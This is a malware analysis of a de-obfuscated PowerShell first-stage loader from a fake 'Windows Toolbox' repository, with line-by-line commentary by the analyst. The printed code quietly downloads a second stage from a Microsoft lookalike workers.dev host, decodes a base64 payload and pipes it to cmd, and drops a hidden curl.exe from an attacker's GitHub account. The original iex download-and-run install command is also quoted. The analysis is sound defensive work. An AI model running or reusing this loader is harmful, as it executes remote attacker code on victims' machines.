Stage1.ps1

$none = Start-Job{
    $a = New-Object System.Net.WebClient
    $a.Headers.add('X-Custom-PSK','Au05345434sadasd')
    $a.Headers.add('User-Agent1','asdsad345345')
    $q = $a.DownloadString('https://ps.microsoft-toolbox.workers.dev/')
    $q

        $asddsa = {
            $cmdrunner = [Text.Encoding]::Utf8.GetString([Convert]::FromBase64String( $q.Substring($q.IndexOf("#region encoding") + 16, $q.IndexOf("#endregion encoding") - $q.IndexOf("#region encoding") - 16) ))
            $none = $cmdrunner | cmd
        
            $curlcheck = where.exe curl.exe
            if ($curlcheck.Contains("curl")){}
            else{ (New-Object System.Net.WebClient).DownloadFile('https://github.com/alexrybak0444/New/raw/main/curl', 'C:\systemfile\curl.exe') ; attrib +s +h "C:\systemfile\*" /s /d}
        }
        if (Test-Path -Path "C:\systemfile"){} else{ 
            iex($asddsa.ToString()) | Out-Null
            iex($q.Substring($q.IndexOf("#region chromepath"), $q.IndexOf("#endregion chromepath") - $q.IndexOf("#region chromepath")))
        }
}

function Go($num1, $num2, [switch]$min){
    while(1)
    {
        if  ($b -Match "encoding"){ break}
        write-host "." -NoNewline
        Start-Sleep -Milliseconds 200
        $global:b = Get-Job | Receive-Job 
        [System.Windows.Forms.Application]::DoEvents()
    }
    Get-Job | Remove-Job

    if ($min) {$formWindowsToolbox.WindowState = 1}
    iex($b.Substring($num1, $num2))
    if ($min) {$formWindowsToolbox.WindowState = 0}

}

The original repo instructs to run the following:
iex((New-Object System.Net.WebClient).DownloadString('https://ps[.]microsoft-toolbox[.]workers[.]dev'))
The code on that site contains some obfuscated part on line 762. This here is the de-obfuscated variant.

Line 1 starts a new job in the background with its output hidden.
Lines 2-5 make a request to that same site, but this time with new headers. This retrieves Stage 2.

Line 9 references Stage 2 line 2112, which it decodes to Stage 3 and then executes on line 10.

Lines 12-14 download curl if it does not exist on the machine. The download as of 09-04 seems free from malware, but is under control of the malware's author.

Line 16-19 are executed if C:\systemfile does not exist. They execute lines 8-15(?) and then lines 2010-2103 in Stage 2.

Go

Function Go is defined in lines 22-37, but does not seem to be called?